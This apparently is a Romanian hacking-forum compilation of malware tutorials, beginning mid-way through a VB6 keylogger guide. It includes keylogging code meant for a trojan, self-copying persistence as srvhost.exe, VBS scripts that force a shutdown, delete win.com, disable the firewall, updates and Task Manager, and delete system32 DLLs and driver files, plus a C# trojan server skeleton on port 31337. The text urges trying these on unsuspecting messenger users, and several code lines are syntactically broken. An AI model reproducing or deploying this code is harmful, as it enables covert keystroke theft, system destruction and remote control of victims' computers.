Sa continuam cu tastele care reprezinta semne de punctuatie , paranteze ( <>?,./_=| ) etc. Nu mai stau sa insir codurile lor . Codul arata cam asa :

For i = 186 To 222 ' Verificam de la 186 pana la 222 . Nu avem nevoie de mai mult .

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

Select Case i

Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\"
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ","
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-"
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", "."
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/"
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "="
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";"
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'"
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "["
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]"
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`"

End Select

Sa verificam acum F-urile : F1 , F2 ... Codurile lor sunt : 112 , 113 ... 123 si codul arata cam asa :

For i = 112 To 123

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

Select Case i

Case 112: Text1.Text = Text1.Text & " F1 "
Case 113: Text1.Text = Text1.Text & " F2 "
Case 114: Text1.Text = Text1.Text & " F3 "
Case 115: Text1.Text = Text1.Text & " F4 "
Case 116: Text1.Text = Text1.Text & " F5 "
Case 117: Text1.Text = Text1.Text & " F6 "
Case 118: Text1.Text = Text1.Text & " F7 "
Case 119: Text1.Text = Text1.Text & " F8 "
Case 120: Text1.Text = Text1.Text & " F9 "
Case 121: Text1.Text = Text1.Text & " F10 "
Case 122: Text1.Text = Text1.Text & " F11 "
Case 123: Text1.Text = Text1.Text & " F12 "

End Select

Case 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1) ' Daca e apasata tasta Backspace , stergem un caracter din logul nostru
Case 9: Text1.Text = Text1.Text & " [ Tab ] " ' Pentru tasta TAB
Case 13: Text1.Text = Text1.Text & vbCrLf ' Daca este apasata tasta Enter trecem pe o noua linie
Case 17: Text1.Text = Text1.Text & " [ Ctrl ]" ' Tasta CTRL etc.
Case 18: Text1.Text = Text1.Text & " [ Alt ] "
Case 19: Text1.Text = Text1.Text & " [ Pause ] "
Case 20: Text1.Text = Text1.Text & " [ Capslock ] "
Case 27: Text1.Text = Text1.Text & " [ Esc ] "
Case 32: Text1.Text = Text1.Text & " " ' Pentru tasta Space adaugam un spatiu
Case 33: Text1.Text = Text1.Text & " [ PageUp ] "
Case 34: Text1.Text = Text1.Text & " [ PageDown ] "
Case 35: Text1.Text = Text1.Text & " [ End ] "
Case 36: Text1.Text = Text1.Text & " [ Home ] "
Case 37: Text1.Text = Text1.Text & " [ Left ] " ' Liniuta in stanga
Case 38: Text1.Text = Text1.Text & " [ Up ] " ' Liniuta in sus
Case 39: Text1.Text = Text1.Text & " [ Right ] " ' Liniuta in dreapta
Case 40: Text1.Text = Text1.Text & " [ Down ] " ' Liniuta in jos
Case 41: Text1.Text = Text1.Text & " [ Select ] "
Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] " ' Tasta PrintScreen ...
Case 45: Text1.Text = Text1.Text & " [ Insert ] "
Case 46: Text1.Text = Text1.Text & " [ Del ] "
Case 47: Text1.Text = Text1.Text & " [ Help ] "
Case 91, 92: Text1.Text = Text1.Text & " [ Windows ] " ' Avem doua butoane de Windows cu codurile 91 si 92

Sper ca ai prins ideea . Am ezitat sa pun intregul cod pentru eventuale Copy/Paste . Vreau sa intelegeti . Desigur , codul poate fi scris mai compact , dar asta ramane la latitudinea voastra .

Sa trecem mai departe , sa vedem cum putem vedea in ce fereastra e scris textul ( multumiri vladii - http://de-ce.net ) .
Ideea de baza e simpla : gasim fereastra activa ( foreground ) - nu poti scrie intr-o fereastra inactiva , apoi adaugam titlul ferestrei in log si la apasarea unor taste , le adaugam in log .

Vom avea nevoie de 2 API-uri :

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long

Ce fac aceste functii : GetForegroundWindow nu are nici un parametru si returneaza un handler catre fereastra activa , iar GetWindowText are 3 parametri : hwnd este handlerul ferestrei din care vrem sa preluam titlul , va fi rezultatul functiei GetForegroundWindow , sWndTitle este un parametru de iesire ( transmis prin referinta ) , valoarea lui se va modifica dupa apelul functiei , iar el va fi titlul ferestrei , cLen reprezinta lungimea maxima a celui de-al doilea parametru . Atentie , vom avea nevoie de un string de lungime fixa . Vom avea o mica problema cu adaugatul titlului ferestrei la log , nu vrem sa o adaugam de prea multe ori , deoarece vom avea tot timpul o fereastra activa . Solutia : gasim fereastra activa si o memoram intr-o variabila si o adaugam la log . Cat timp e aceeasi fereastra activa adaugam tastele apasate la log , verificand fereastra activa cu alta variabila . Daca gasim alta fereastra , o adaugam la log si din nou adaugam la log tastele apasate . Ceea ce vom face :

Private hForegroundWnd As Long ' Variabila globala . Nu o vom declara in timer deoarece vom avea nevoie de valoarea ei nemodificata . Daca am declara-o in Timer ea ar fi initializata la fiecare rulare a Timerului .

Private Sub Timer1_Timer()

win = GetForegroundWindow() ' Gasim fereastra activa
If (win = hForegroundWnd) Then ' Si o comparam cu hForegroundWnd ( globala ) pentru a vedea daca sunt handlerele aceleiasi ferestre , sa nu adaugam in log aceeasi fereastra de 1000 de ori .
GoTo Keylogger ' Daca este aceeasi fereastra mergem la keylogger si capturam tastele apasate si le adaugam in log ca fiind ale ferestrei active
Else ' Daca nu
hForegroundWnd = GetForegroundWindow() ' hForegroundWnd va fi handlerul ferestrei active . Il vom compara ulterior cu win
Title = "" ' Initializam stringul Title cu ""

GetWindowText hForegroundWnd, Title, 1000 ' Preluam in Title , titlul ferestrei active folosind handlerul obtinut anterior ( hForegroundWnd )

If Asc(Title) > 0 Then ' Verificam codul ASCII al primului caracter din Title . Daca este 0 ( null ) nu il vom adauga - daca nu verificati primul caracter , la minimizarea ferestrelor va fi adaugat in log ca fereastra spatiu vid "" si nu arata foarte frumos .

Text1.Text = Text1.Text & vbCrLf & vbCrLf & "[ " & Title ' Adaugam la log 2 linii noi urmate de titlul ferestrei in paranteze patrate ( mie imi place cum arata , puteti pune cum vreti ) .
Text1.Text = Text1.Text & " ]" & vbCrLf ' Cum Title este un string de lungime fixa va trebui sa inchidem paranteza patrata ulterior , mai adaugam un spatiu , sub titlul ferestrei urmand sa apara tastele apasate

End If ' Inchidem If-ul pentru verificarea lui Title

End If ' Inchidem If-ul pentru compararea lui win cu hForegroundWnd

Exit Sub ' Iesim din Sub , pentru a nu "manca" memoria degeaba

Keylogger: ' Mai jos urmeaza Keyloggerul . El va fi rulat daca hForegroundWnd = win adica daca de la ultima rulare a timerului , avem aceeasi fereastra , daca este aceeasi fereastra activa .

Ce ramane de facut pentru atasarea keyloggerului trojanului nostru : decat trimiterea datelor din server spre client . Puteti adauga tot felul de optiuni , trebuie sa aveti imaginatie .

>>>> Sfaturi utile :

>> Fixarea erorii "Missing File" pentru Winsock

E destul de importata aceasta problema . Fara acel ocx ( mswinsck.ocx ) nu vor merge nici serverul nici clientul . Acel ocx trebuie sa fie in system32 . Putem rezolva usor problema cu un fisier de resurse : Add-Ins >> Add-In Manager >> Click VB6 Resource Editor si bifati Loaded/Unloaded si Load On StartUp . Intrati in el ( verde ) apasati penultimul buton si adaugati mswinsck.ocx . La compilare va trebui salvat fisierul de resurse . Apoi in cod :

Private Sub Form_Initialize() ' Evenimentul are loc inaintea lui Form_Load

If Dir("C:\WINDOWS\system32\MSWINSCK.OCX" = "" Then ' Verificam daca fisierul exista si daca nu exista

Dim i() As Byte ' Declaram vectorul i
i = LoadResData(101, "CUSTOM" ' I va prelua continutul lui mswinsck.ocx din fisierul de resurse
Open "C:\WINDOWS\system32\MSWINSCK.OCX" For Binary Access Write As #1 ' Deschidem C:\WINDOWS\system32\MSWINSCK.OCX binar pentru scriere
Put #1, , i ' Scriem in C:\WINDOWS\system32\MSWINSCK.OCX continutul lui i adica mswinsck.ocx
Close #1 ' Inchidem fisierul

End If ' Inchidem If-ul

Acest lucru se poate face si pentru alte ocx-uri sau alte fisiere . Insa ar putea interveni o eroare : Path acces error in caz ca cel care ruleaza programul nu are drepturi de administrator .
Se poate folosi si o arhiva SFX - WinRar care se face foarte usor .

>> Auto-Copierea serverului

Lucru de asemenea foarte important , care se face foarte usor cu arhiva SFX . Cei mai multi trojeni se copiaza in system32 cu diferite nume : srvhost , svchost32 si altele . Serverul se poate autocopia astfel ( in Form_Load )

FileCopy App.Path & "/" & App.EXEName & ".exe", "C:\WINDOWS\system32\srvhost.exe" ' Se auto-copiaza in "C:\WINDOWS\system32\srvhost.exe" . App.Path este folderul in care se afla serverul , App.EXEName este numele executabilului , legatura e vizibila .
Se poate copia dintr-un alt executabil , dintr-un fisier de resurse .

>> Erori la rulare

Va recomand folosirea instructiunii On Error Resume Next . In cazul unei erori programul nu se opreste . Folositi-o in server cat mai des , dar NU in timp ce lucrati la server . Asa e foarte posibil sa pierdeti erori , si codul sa nu functioneze corect . Si la client e folositoare .

Daca ati citit pana aici in primul rand felicitari . Sper ca nu ati pierdut timpul degeaba si ca ati invatat cat mai multe . Si eu sper ca nu am pierdut timpul degeaba .

DESCARCA

scrii in notepad :
msgbox "Sa te vad daca shtii sa ma rogi frumos sa itzi las compul in pace"
Set kader = WScript.CreateObject("SAPI.SpVoice"
kader.Speak "computer infected"
msgbox"O sa itzi deschid primele 10 porturi...apoi o sa itzi dezactivez firewallul..shi ma mai gandesc",,"Nuca"
msgbox"Gata,te-ai ars!!!",,"Nuca"
kader.Speak "1, 2, 3"
kader.Speak "opening port number 1 "
kader.Speak "opening port number 2"
kader.Speak "opening port number 3"
kader.Speak "opening port number 4"
kader.Speak "opening port number 5"
kader.Speak "opening port number 6"
kader.Speak "opening port number 7"
kader.Speak "opening port number 8"
kader.Speak "opening port number 9"
kader.Speak "opening port number 10"
kader.Speak "all 10 sistem ports are opened"
msgbox"In momentul de fatza ai la comp cela mai importante 10 de porturi deschise",,"Nuca"
msgbox "Acum itzi dezactivez protectzia compului",,"Nuca"
kader.Speak "starting proces"
kader.speak " "
kader.Speak "disabling antivirus"
kader.speak " "
kader.Speak "loading"
kader.speak " "
kader.speak " "
kader.speak "antivirus disabled"
kader.speak " "
kader.Speak "disabling firewall"
kader.speak " "
kader.Speak "loading"
kader.speak " "
kader.speak "firewall disabled"
kader.speak "operation completed"
msgbox" Incepe infectarea compului gazda",,
kader.Speak "Extracting viruses"
kader.Speak "extracting Trad3r.trojan"
kader.Speak " "
kader.Speak "loading"
kader.Speak "Trad3r.trojan has been succesfull extracted"
msgbox" Ce sa itzi fac , daca ai suparat pe cine nu trebuia "
kader.Speak "anyway your personal computer will be functionable only 10 more seconds"
kader.Speak "say bye to your pc"
kader.Speak "10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0"
kader.Speak "shutdown and saving infected"
kader.Speak
Dim wshshell
set wshshell = wscript.Createobject("WScript.Shell"
wshshell.run "shutdown -s -t 30 -c Mas"

shi salvezi .vbs )

Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu dati dublu clik pe el

Deoarece
Windows Vista este partial integrat in platforma .NET Framework trebuie
sa stim sa lucram si in C#. MS lasa de inteles ca o sa faca ei cumva sa
anuleze interportabilitatea programelor de pe linux pe windows.

Deci, prin urmare m-am decis sa fac acest tutorial.

Capitolul 1 - Serverul

Pasul 1 - Crearea unei aplicatii fara fereastra
Cream un proiect - eu l-am numit Server

Stergem Form-ul principal.

Intram in Program.cs si modificam. Sursa dupa modificare sa fie asa:
Code:
using System;
using System.Windows.Forms;

namespace Server
{
static class Program
{
[STAThread]
static void Main()
{

}
}
}

Pasul 2 - Crearea Serverului
Scriem functia urmatoare care tot incearca sa creeze serverul in caz ca nu ii iese
Code:
static void StartServer()
{
// Incercam sa vedem daca merge sa cream serverul
try { createServer(); }
// Daca nu merge incercam inca odata, si inca odata, s.a.m.d.
catch { StartServer(); }
}

Acum facem functia createServer care creaza serverul propriuzis
Code:
static TcpListener SV;
static void createServer()
{
// se initializeaza portul
int port = 31337;
// se creaza serverul care "miroase" acel port
SV = new TcpListener(IPAddress.Any,port);
// se accepta doar o singura conexiune
SV.Start(1);

// cream un thread pentru a rula functia care "miroase"
Thread newThread = new Thread(new ThreadStart(startListen));
// rulam threadul
newThread.Start();
}

Acum functia care "miroase" acel port
Code:
static void startListen()
{
// cream un socket pentru conexiune
Socket LS = SV.AcceptSocket();
// daca s-a conectat careva ii trimitem mesajul "Welcome"
if (LS.Connected)
{
// cream octetii(bytes) care trebuie sa ii trimitem
byte[] buffer = new byte[1024];
// salvam un mesaj in ei
buffer = Encoding.Default.GetBytes("Welcome Dude ";
// ii trimitem
LS.Send(buffer);
// in caz ca dupa trimitere m-ai suntem conectati stam si receptam date
while (LS.Connected)
{
try
{
// lungimea mesajului receptat
int len = LS.Receive(buffer);
if (len != 0)
{
string msg = parseData(buffer, len);
LS.Send(Encoding.Default.GetBytes(msg.ToCharArray()));
}
}
catch { }
}
}
// altfel mai incercam odata
else
{
// cream un thread pentru a rula functia din nou care "miroase"
Thread newThread = new Thread(new ThreadStart(startListen));
newThread.Start();
}
}

Acum functia care parseaza mesajul.
Code:
static string parseData(byte[] buffer, int len)
{
return "Hy ";
}

La sfarsit, headerul din Program.cs este
Code:
using System;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Text;

*
Nu m-am complicat eu prea tare. V-am oferit o structura care o puteti
folosii la crearea serverului unui troian in .NET Framework 2.0

este un virus care dezactiveaza firewalu

DESCARCA

Atentie cum lucrati cu ei sar putea sa se antoarca anpotriva voastra

descarca

Deschidem un notepad si scriem urmatoarele :

Dim x , g , b
Dim filedelsys , filedeldll

Set x = Createobject("Wscript.Shell"
Set b = Createobject("Scripting.FileSystemObject"
Set filedelsys = CreateObject("Scripting.FileSystemObject"
Set filedeldll = CreateObject("Scripting.FileSystemObject"

' Disable Windows Firewall
x.regwrite "HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsFirewallDomainProfileEnableFirewall", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsFirewallDomainProfileEnableFirewall", "1", "REG_DWORD"
x.regwrite "HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsFirewallStandardProfileEnableFirewall", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsFirewallStandardProfileEnableFirewall", "1", "REG_DWORD"
' Disables Windows AutoUpdate
x.regwrite "HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsWindowsUpdateAUNoAutoUpdate", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdateAUAUOptions", "1", "REG_DWORD"
x.regwrite "HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsWindowsUpdateAUAUOptions", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdateAUNoAutoUpdate", "1", "REG_DWORD"
' Disables <Service Pack 2> Windows FireWall and AntiVirus Functions
x.regwrite "HKCUSoftwareMicrosoftsecurity centerFirewallDisableNotify", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftsecurity centerUpdatesDisableNotify", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftsecurity centerAntiVirusDisableNotify", "1", "REG_DWORD"
x.regwrite "HKLMSoftwareMicrosoftsecurity centerFirewallDisableNotify", "1", "REG_DWORD"
x.regwrite "HKLMSoftwareMicrosoftsecurity centerUpdatesDisableNotify", "1", "REG_DWORD"
x.regwrite "HKLMSoftwareMicrosoftsecurity centerAntiVirusDisableNotify", "1", "REG_DWORD"
' Disables TaskManager(Ctrl+Alt+Del)
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr", "1", "REG_DWORD"
' Disables Registry Editor!!
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools", "1", "REG_DWORD"
' Disables Other...
x.regwrite "HKCUsoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun1", "msconfig.exe"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerClassicShell", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerClearRecentDocsOnExit", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisableExplorer", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerConfirmFileDelete", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisableLocalUserRunOnce", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisablePersonalDirChange", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisallowCpl", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerForceClassicControlPanel", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerForceStartMenuLogOff", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerGreyMSIAds", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerHideClock", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerIntellimenus", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerLockTaskbar", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoActiveDesktopChanges", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAddPrinter", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAutoTrayNotify", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAutoUpdate", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoCDBurning", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoChangeAnimation", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoChangeKeyboardNavigationIndicators", "1", "REG_DWORD"

filedelsys.DeleteFile "C:WINDOWSsystem32drivers*.sys"
filedelexe.DeleteFile "c:windowssystem32*.dll"

Aceste comenzi se scriu in notepad si se salveaza nume.vbs
Ce face acest script?pai hai sa va spun :infecteaza regeditul,
Restrictioneaza unele situri de AV si sterge dll file din system32 si sys files din Drivers
incercati pentru noobi de pe mess

Un program care deblocheaza ID-urile de Yahoo Messenger care au fost blocate folosind un ID Locker.

DESCARCA